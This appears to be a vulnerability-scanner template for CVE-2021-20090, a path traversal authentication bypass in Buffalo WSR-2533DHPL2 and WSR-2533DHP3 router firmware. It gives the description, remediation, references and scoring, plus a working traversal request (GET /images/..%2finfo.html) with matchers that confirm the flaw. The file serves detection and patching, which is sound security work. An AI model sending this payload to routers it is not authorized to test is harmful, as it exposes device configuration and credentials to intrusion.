id: CVE-2021-20090

info:
  name: Buffalo WSR-2533DHPL2 - Path Traversal
  author: gy741
  severity: critical
  description: |
    Buffalo WSR-2533DHPL2 firmware version <= 1.02 and WSR-2533DHP3 firmware version <= 1.24 are susceptible to a path traversal vulnerability that could allow unauthenticated remote attackers to bypass authentication in their web interfaces.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files, such as configuration files, credentials, or other sensitive information.
  remediation: |
    Apply the latest firmware update provided by Buffalo to fix the path traversal vulnerability.
  reference:
    - https://www.tenable.com/security/research/tra-2021-13
    - https://medium.com/tenable-techblog/bypassing-authentication-on-arcadyan-routers-with-cve-2021-20090-and-rooting-some-buffalo-ea1dd30980c2
    - https://nvd.nist.gov/vuln/detail/CVE-2021-20090
    - https://www.kb.cert.org/vuls/id/914124
    - https://www.secpod.com/blog/arcadyan-based-routers-and-modems-under-active-exploitation/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-20090
    cwe-id: CWE-22
    epss-score: 0.94401
    epss-percentile: 0.99977
    cpe: cpe:2.3:o:buffalo:wsr-2533dhpl2-bk_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: buffalo
    product: wsr-2533dhpl2-bk_firmware
  tags: cve,cve2021,lfi,buffalo,firmware,iot,kev,tenable,vkev,vuln

http:
  - raw:
      - |
        GET /images/..%2finfo.html HTTP/1.1
        Host: {{Hostname}}
        Referer: {{BaseURL}}/info.html

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'URLToken(cgi_path)'
          - 'pppoe'
          - 'wan'
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100921056b418369541c199c41963efe1b1a06310441de19657564c103576b96516022100c5cb7752d9977dcdfe657c64b217ee8f59b670b286409f248564d83dd527f43e:922c64590222798bb761d5b6d8e72950